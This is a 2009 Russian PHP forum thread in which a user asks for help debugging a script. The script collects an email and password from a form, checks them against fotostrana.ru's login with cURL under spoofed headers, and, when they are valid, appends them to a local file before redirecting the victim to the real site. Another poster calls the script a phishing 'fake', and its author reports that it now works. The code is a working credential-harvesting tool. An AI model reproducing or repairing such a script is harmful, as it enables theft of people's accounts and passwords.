Проверка данных на валидность(cURL)

m0hze

Новичок
Проверка данных на валидность(cURL)

Вот имею простенький скриптек.Но он почимуто срабатывает,даже при неверных данных.Где искать ошибку?(
PHP:
<?php

/**
 * @author m0hze
 * @copyright 2009
 */
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
	$post = 'user_email='.$email.'&user_password='.$password;
    $cl = curl_init('http://fotostrana.ru/user/login');
    curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
    curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
    curl_setopt($cl, CURLOPT_HEADER, 1);
    curl_setopt($cl, CURLOPT_POST, 1);
    curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
    $exec = curl_exec($cl);
    curl_close($cl);
	$error = file_get_contents('index.php');
    if(stristr($exec, 'Неверный логин или пароль')){
        echo $error;
    }else{
	$fo = fopen('base.php','a');
	fwrite($fo,"$email:$password\n");
	fclose($fo);
	header("Location: [url]http://fotostrana.ru/user/login/?user_email=[/url]$email&user_password=$password");
	}
}
?>
 

m0hze

Новичок
Сделал вот так:
PHP:
<?php

/**
 * @author m0hze
 * @copyright 2009
 */
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
	$post = 'user_email='.$email.'&user_password='.$password;
    $cl = curl_init('http://fotostrana.ru/user/login');
    curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
    curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
    curl_setopt($cl, CURLOPT_HEADER, 1);
    curl_setopt($cl, CURLOPT_POST, 1);
    curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
    $exec = curl_exec($cl);
    curl_close($cl);
    if(stristr($exec, 'Неверный логин или пароль')){
       $error = file_get_contents('index.php');
	    echo $error;
    }else{
	$fo = fopen('base.php','a');
	fwrite($fo,"$email:$password\n");
	fclose($fo);
	header("Location: http://fotostrana.ru/user/login/?user_email=$email&user_password=$password");
	}
}
?>
Но как я подозреваю,ошибка не в этом.Так как он просто в любом случае посулает даные на запись,даже если они не валидные.Вот в чем проблема,скрипт уже переворошил весь,но явной ошибки не вижу...
 

MiRacLe

просто Чудо
я подозреваю, что ошибку надо искать теперь уже ПЕРЕД вышеупомянутой строкой
 

m0hze

Новичок
Я прошу поточнее сказать,так как в синтаксисе курла я только еще разбираюсь,и собственно говоря с ним работаю только по примерам.Если тебе не сложно,конкретизируй.
 

m0hze

Новичок
Если чесно мне это почти ничего не дало,разве что подсказало что курл работает,так как возвращаеться разное значение при логинах не правильных.ТЫ можеш конкретно подсказать,что и где исправить.Пожалуйста.
 

m0hze

Новичок
Во первых это не фейк,а чекер.А во вторых это имеет какоето значение для кодера? оО
 

MiRacLe

просто Чудо
BRat я заметил, что он бестолочь и ни фейк, ни чекер не напишет ибо не способен отладить где-то спионеренный код... так что не важно
 

BRat

o_0
MiRacLe
а смысла тогда ему писать что-то. Скоро какой-нить модератор увидит тему и удалит
 

m0hze

Новичок
Все спасибо,починил. Мда,форум кодеров.нехватает приставки перед 3 словом.
 

MiRacLe

просто Чудо
BRat слабых и больных новорожденных надо сразу кидать с обрыва?
 
Сверху